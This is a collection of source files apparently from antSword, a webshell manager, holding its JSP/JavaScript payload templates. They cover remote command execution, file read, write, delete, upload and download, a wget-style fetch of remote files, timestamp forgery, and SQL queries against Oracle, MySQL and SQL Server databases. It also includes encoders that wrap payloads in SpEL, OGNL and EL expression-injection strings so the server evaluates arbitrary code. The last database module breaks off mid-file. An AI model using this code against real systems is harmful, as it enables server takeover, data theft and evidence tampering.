``` | /content/code_sandbox/source/core/jspjs/decoder/b64reverse.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 200 |
```javascript
/**
* jspjs::base64
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
*/
asoutput: () => {
return `function asenc(str){
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
``` | /content/code_sandbox/source/core/jspjs/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 192 |
```javascript
/**
* jspjs::rot13
*/
'use strict';
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
};
module.exports = {
asoutput: (tag_s, tag_e) => {
return `function asenc(str){
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret.replace(/[a-zA-Z]/g,function(c){
return String.fromCharCode((c <= "Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);
});
}
`.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return Buffer.from(rot13encode(buff.toString()), 'base64');
}
}
``` | /content/code_sandbox/source/core/jspjs/decoder/b64rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 321 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `function SysInfoCode() {
var d = System.getProperty("user.dir");
var serverInfo = System.getProperty("os.name");
var user = System.getProperty("user.name");
var driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
function WwwRootPathCode(d) {
var s = "";
if (!d.substring(0, 1).equals("/")) {
var roots = java.io.File.listRoots();
for (var i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
output.append(SysInfoCode());
`.replace(/\n\s+/g, '')
},
probedb: { //
_: `
function ProbedbCode() {
var drivers = [
"com.mysql.jdbc.Driver",
"com.mysql.cj.jdbc.Driver",
"oracle.jdbc.driver.OracleDriver",
"org.postgresql.Driver",
"weblogic.jdbc.mssqlserver4.Driver",
"com.microsoft.sqlserver.jdbc.SQLServerDriver",
"com.inet.pool.PoolDriver",
];
var ret = "";
for (var i = 0; i < drivers.length; i++) {
try {
Class.forName(drivers[i]);
ret += drivers[i] + "\\t1\\n";
} catch (e) {
ret += drivers[i] + "\\t0\\n";
}
}
return ret;
}
output.append(ProbedbCode());
`.replace(/\n\s+/g, '')
}
})
``` | /content/code_sandbox/source/core/jspjs/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 394 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `
function ExecuteCommandCode(cmdPath, command, envstr) {
var sb = new StringBuffer();
var split = isWin() ? "/c" : "-c";
var s = [cmdPath, split, command];
var readonlyenv = System.getenv();
var cmdenv = new HashMap(readonlyenv);
var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
e[i] = key + "=" + val;
i++;
}
p = java.lang.Runtime.getRuntime().exec(s, e);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb;
}
function CopyInputStream(is, sb) {
var l;
var br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\\r\\n");
}
br.close();
}
function isWin() {
var osname = System.getProperty("os.name");
osname = osname.toLowerCase();
return osname.startsWith("win");
}
var cmdPath = decode("#{newbase64::bin}");
var command = decode("#{newbase64::cmd}");
var envstr = decode("#{newbase64::env}");
output.append(ExecuteCommandCode(cmdPath, command, envstr));
`.replace(/\n\s+/g, ""),
},
listcmd: {
_: `
function ListcmdCode(binarrstr) {
var binarr = binarrstr.split(",");
var ret = "";
for (var i = 0; i < binarr.length; i++) {
var f = new File(binarr[i]);
if (f.exists() && !f.isDirectory()) {
ret += binarr[i] + "\\t1\\n";
} else {
ret += binarr[i] + "\\t0\\n";
}
}
return ret;
}
var z1 = decode("#{newbase64::binarr}");
output.append(ListcmdCode(z1));
`.replace(/\n\s+/g, ""),
},
});
``` | /content/code_sandbox/source/core/jspjs/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 590 |
```javascript
//
// oracle
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showDatabases(encode, conn) {
var sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
output.append(showDatabases(z1, z2));
`.replace(/\n\s+/g, ""),
},
show_tables: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showTables(encode, conn, dbname) {
var sql =
"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='" +
dbname +
"' ORDER BY 1)";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::db}");
output.append(showTables(z1, z2, z3));
`.replace(/\n\s+/g, ""),
},
show_columns: {
_: `function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showColumns(encode, conn, dbname, table) {
var columnsep = "\\t";
var rowsep = "";
var sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::db}");
var z4 = decode("#{newbase64::table}");
output.append(showColumns(z1, z2, z3, z4));
`.replace(/\n\s+/g, ""),
},
query: {
_: `
function Base64Encode(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var isRS = stmt.execute(sql);
if (isRS) {
var rs = stmt.getResultSet();
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += Base64Encode(columnValue) + columnsep;
}
ret += rowsep;
}
} else {
ret += "Result" + columnsep + rowsep;
var rowCount = stmt.getUpdateCount();
if (rowCount > 0) {
ret += Base64Encode("Rows changed = " + rowCount) + columnsep + rowsep;
} else if (rowCount == 0) {
ret +=
Base64Encode("No rows changed or statement was DDL command") +
columnsep +
rowsep;
} else {
ret += Base64Encode("False") + columnsep + rowsep;
}
}
return ret;
}
function query(encode, conn, sql) {
var columnsep = "\\t|\\t";
var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::sql}");
output.append(query(z1, z2, z3));
`.replace(/\n\s+/g, ""),
}
})
``` | /content/code_sandbox/source/core/jspjs/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,766 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `
function FileTreeCode(dirPath) {
var oF = new File(dirPath);
var l = oF.listFiles();
var s = "", sT, sQ, sF = "";
var dt;
var fm = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (var i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "-";
sQ += l[i].canWrite() ? "W" : "-";
try {
sQ += l[i].getClass().getMethod("canExecute").invoke(l[i]) ? "X" : "-";
}catch (e) {
sQ += "-";
}
var nm = l[i].getName();
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\\n";
}
}
s += sF;
return s;
}
var dirPath=decode("#{newbase64::path}");
output.append(FileTreeCode(dirPath));
`.replace(/\n\s+/g, ""),
},
delete: {
_: `
function DeleteFileOrDirCode(fileOrDirPath) {
var f = new File(fileOrDirPath);
if (f.isDirectory()) {
var x = f.listFiles();
for (var k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
var fileOrDirPath = decode("#{newbase64::path}");
output.append(DeleteFileOrDirCode(fileOrDirPath));
`.replace(/\n\s+/g, ""),
},
create_file: {
_: `
function WriteFileCode(filePath, fileContext) {
var h = "0123456789ABCDEF";
var fileHexContext = strtohexstr(fileContext);
var f = new File(filePath);
var os = new FileOutputStream(f);
for (var i = 0; i < fileHexContext.length(); i += 2) {
os.write(
(h.indexOf(fileHexContext.charAt(i)) << 4) |
h.indexOf(fileHexContext.charAt(i + 1))
);
}
os.close();
return "1";
}
function strtohexstr(fileContext) {
var h = "0123456789ABCDEF";
var bytes = fileContext.getBytes(cs);
var sb = new StringBuilder(bytes.length * 2);
for (var i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
return sb.toString();
}
var z1 = decode("#{newbase64::path}");
var z2 = decode("#{newbase64::content}");
output.append(WriteFileCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
read_file: {
_: `
function ReadFileCode(filePath) {
var l = "";
var s = "";
var br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(filePath)), cs)
);
while ((l = br.readLine()) != null) {
s += l + "\\r\\n";
}
br.close();
return s;
}
var z1 = decode("#{newbase64::path}");
output.append(ReadFileCode(z1));
`.replace(/\n\s+/g, ""),
},
copy: {
_: `
function CopyFileOrDirCode(sourceFilePath, targetFilePath) {
var sf = new File(sourceFilePath),
df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
var z = sf.listFiles();
for (var j = 0; j < z.length; j++) {
CopyFileOrDirCode(
sourceFilePath + "/" + z[j].getName(),
targetFilePath + "/" + z[j].getName()
);
}
} else {
var is = new FileInputStream(sf);
var os = new FileOutputStream(df);
var tempByte;
while ((tempByte = is.read()) != -1) {
os.write(tempByte);
}
is.close();
os.close();
}
return "1";
}
var z1 = decode("#{newbase64::path}");
var z2 = decode("#{newbase64::target}");
output.append(CopyFileOrDirCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
download_file: {
_: `
function DownloadFileCode(filePath, r) {
r.reset();
var os = r.getOutputStream();
var is = new BufferedInputStream(new FileInputStream(filePath));
os.write(tag_s.getBytes());
var tempByte;
while ((tempByte = is.read()) != -1) {
os.write(tempByte);
}
os.write(tag_e.getBytes());
os.close();
is.close();
}
var z1 = decode("#{newbase64::path}");
output.append(DownloadFileCode(z1, response));
`.replace(/\n\s+/g, ""),
},
upload_file: {
_: `
function UploadFileCode(savefilePath, fileHexContext) {
var h = "0123456789ABCDEF";
var f = new File(savefilePath);
f.createNewFile();
var os = new FileOutputStream(f, true);
for (var i = 0; i < fileHexContext.length(); i += 2) {
os.write(
(h.indexOf(fileHexContext.charAt(i)) << 4) |
h.indexOf(fileHexContext.charAt(i + 1))
);
}
os.close();
return "1";
}
var z1 = decode("#{newbase64::path}");
var z2 = decode("#{buffer::content}");
output.append(UploadFileCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
rename: {
_: `
function RenameFileOrDirCode(oldName, newName) {
var sf = new File(oldName),
df = new File(newName);
sf.renameTo(df);
return "1";
}
var z1 = decode("#{newbase64::path}");
var z2 = decode("#{newbase64::name}");
output.append(RenameFileOrDirCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
retime: {
_: `
function ModifyFileOrDirTimeCode(fileOrDirPath, aTime) {
var f = new File(fileOrDirPath);
var fm = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
var dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
var z1 = decode("#{newbase64::path}");
var z2 = decode("#{newbase64::time}");
output.append(ModifyFileOrDirTimeCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
chmod: {
_: `
function ChmodCode(path, permstr) {
try {
var permissions = Integer.parseInt(permstr, 8);
var f = new File(path);
if ((permissions & 256) > 0) {
f.getClass().getDeclaredMethod("setReadable").invoke(f, true, true);
}
if ((permissions & 128) > 0) {
f.getClass().getDeclaredMethod("setWritable").invoke(f, true, true);
}
if ((permissions & 64) > 0) {
f.getClass().getDeclaredMethod("setExecutable").invoke(f, true, true);
}
if ((permissions & 32) > 0) {
f.getClass().getDeclaredMethod("setReadable").invoke(f, true, false);
}
if ((permissions & 16) > 0) {
f.getClass().getDeclaredMethod("setWritable").invoke(f, true, false);
}
if ((permissions & 8) > 0) {
f.getClass().getDeclaredMethod("setExecutable").invoke(f, true, false);
}
if ((permissions & 4) > 0) {
f.getClass().getDeclaredMethod("setReadable").invoke(f, true, false);
}
if ((permissions & 2) > 0) {
f.getClass().getDeclaredMethod("setWritable").invoke(f, true, false);
}
if ((permissions & 1) > 0) {
f.getClass().getDeclaredMethod("setExecutable").invoke(f, true, false);
}
} catch (e) {
return "0";
}
return "1";
}
var z1 = decode("#{newbase64::path}");
var z2 = decode("#{newbase64::mode}");
output.append(ChmodCode(z1, z2));`.replace(/\n\s+/g, ""),
},
mkdir: {
_: `
function CreateDirCode(dirPath) {
var f = new File(dirPath);
f.mkdir();
return "1";
}
var z1 = decode("#{newbase64::path}");
output.append(CreateDirCode(z1));
`.replace(/\n\s+/g, ""),
},
wget: {
_: `
function WgetCode(urlPath, saveFilePath) {
var u = new java.net.URL(urlPath);
var n = 0;
var os = new FileOutputStream(saveFilePath);
var h = u.openConnection();
var is = h.getInputStream();
var tempByte;
while ((tempByte = is.read()) != -1) {
os.write(tempByte);
}
os.close();
is.close();
h.disconnect();
return "1";
}
var z1 = decode("#{newbase64::url}");
var z2 = decode("#{newbase64::path}");
output.append(WgetCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
filehash: {
_: `
importPackage(Packages.java.security);
function getDigest(algorithm) {
return MessageDigest.getInstance(algorithm);
};
function getMd5Digest(){
return getDigest("MD5");
};
function updateDigest(digestObj, inputStream) {
var s = new Array(2048).join(".");
var buffer=s.getBytes();
var read = inputStream.read(buffer,0, 1024);
while(read > -1) {
digestObj.update(buffer,0, read);
read = inputStream.read(buffer,0, 1024);
}
return digestObj;
};
function digest(messageDigest, data){
return updateDigest(messageDigest, data).digest();
};
function md5(inputStream){
return digest(getMd5Digest(), inputStream);
};
function md5Hex(inputStream) {
return encodeHex(md5(inputStream));
};
function encodeHex(bytes) {
var h = "0123456789ABCDEF";
var sb = new StringBuilder(bytes.length * 2);
for (var i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
return sb.toString();
};
function FilehashCode(filePath) {
var s = "";
var md5s = md5Hex(new FileInputStream(filePath));
s += "MD5\\t" + md5s + "\\n";
return s;
};
var z1 = decode("#{newbase64::path}");
output.append(FilehashCode(z1));
`.replace(/\n\s+/g, ""),
},
});
``` | /content/code_sandbox/source/core/jspjs/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 2,661 |
```javascript
//
//
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showDatabases(encode, conn) {
var sql = "show databases";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
output.append(showDatabases(z1, z2));
`.replace(/\n\s+/g, ""),
},
show_tables: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showTables(encode, conn, dbname) {
var sql = "show tables from " + dbname;
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::db}");
output.append(showTables(z1, z2, z3));
`.replace(/\n\s+/g, ""),
},
show_columns: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showColumns(encode, conn, dbname, table) {
var columnsep = "\\t";
var rowsep = "";
var sql = "select * from " + dbname + "." + table + " limit 0,0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::db}");
var z4 = decode("#{newbase64::table}");
output.append(showColumns(z1, z2, z3, z4));
`.replace(/\n\s+/g, ""),
},
query: {
_: `
function Base64Encode(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var isRS = stmt.execute(sql);
if (isRS) {
var rs = stmt.getResultSet();
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += Base64Encode(columnValue) + columnsep;
}
ret += rowsep;
}
} else {
ret += "Result" + columnsep + rowsep;
var rowCount = stmt.getUpdateCount();
if (rowCount > 0) {
ret += Base64Encode("Rows changed = " + rowCount) + columnsep + rowsep;
} else if (rowCount == 0) {
ret +=
Base64Encode("No rows changed or statement was DDL command") +
columnsep +
rowsep;
} else {
ret += Base64Encode("False") + columnsep + rowsep;
}
}
return ret;
}
function query(encode, conn, sql) {
var columnsep = "\\t|\\t";
var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::sql}");
output.append(query(z1, z2, z3));
`.replace(/\n\s+/g, ""),
},
});
``` | /content/code_sandbox/source/core/jspjs/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,735 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = `T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval(new String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('${Buffer.from(data['_']).toString('base64')}')))`;
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/jspjs/encoder/spelbase64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 79 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = `(new javax.script.ScriptEngineManager()).getEngineByName("js").eval(new String(@com.sun.org.apache.xml.internal.security.utils.Base64@decode('${Buffer.from(data['_']).toString('base64')}')))`;
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/jspjs/encoder/ognl.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 77 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[pwd] = `\${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("${randomID}"))}`;
data[randomID]=data['_'];
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/jspjs/encoder/el.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 149 |
```javascript
//
// sqlserver
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showDatabases(encode, conn) {
var sql = "select [name] from master.dbo.sysdatabases order by 1";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
output.append(showDatabases(z1, z2));
`.replace(/\n\s+/g, ""),
},
show_tables: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showTables(encode, conn, dbname) {
var sql = "SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::db}");
output.append(showTables(z1, z2, z3));
`.replace(/\n\s+/g, ""),
},
show_columns: {
_: `function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showColumns(encode, conn, dbname, table) {
var columnsep = "\\t";
var rowsep = "";
var sql = "SELECT TOP 1 * FROM " + dbname + "." + table;
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::db}");
var z4 = decode("#{newbase64::table}");
